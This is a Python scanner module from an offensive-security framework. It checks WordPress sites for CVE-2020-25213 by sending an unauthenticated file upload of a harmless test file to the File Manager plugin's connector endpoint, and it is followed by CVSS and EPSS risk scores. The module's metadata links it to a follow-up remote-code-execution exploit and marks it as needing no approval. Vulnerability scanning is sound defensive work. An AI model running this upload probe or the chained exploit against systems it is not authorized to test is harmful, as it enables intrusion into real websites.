WordPress File Manager Plugin - Remote Code Execution Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WordPress File Manager plugin prior to version 6."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress File Manager Plugin - Remote Code Execution Detection',
'description': 'The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'wordpress', 'rce', 'kev', 'fileupload', 'intrusive', 'packetstorm', 'webdesi9', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/wp_file_manager_cve_2020_25213_rce'],
},
},
'references': [
'https://plugins.trac.wordpress.org/changeset/2373068',
'https://github.com/w4fz5uck5/wp-file-manager-0day',
'https://nvd.nist.gov/vuln/detail/CVE-2020-25213',
'http://packetstormsecurity.com/files/160003/WordPress-File-Manager-6.8-Remote-Code-Execution.html',
'http://packetstormsecurity.com/files/171650/WordPress-File-Manager-6.9-Shell-Upload.html',
],
'cve': 'CVE-2020-25213',
}
def run(self):
path = '/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Accept': '*/*', 'Content-Type': 'multipart/form-data; boundary=------------------------ca81ac1fececda48'}, data='--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name="reqid"\n\n17457a1fe6959\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name="cmd"\n\nupload\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name="target"\n\nl1_Lw\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name="mtime[]"\n\n1576045135\n--------------------------ca81ac1fececda48\nContent-Disposition: form-data; name="upload[]"; filename="poc.txt"\nContent-Type: text/plain\n\npoc-test\n--------------------------ca81ac1fececda48--\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('poc.txt', 'added',)
header_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='critical', reason='WordPress File Manager Plugin - Remote Code Execution detected', path=path)
return True
return False
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04 Sep 2026 06:36Current
9.1Critical risk
Vulners AI Score9.1
CVSS 27.5
CVSS 3.19.8 - 10
EPSS0.97328
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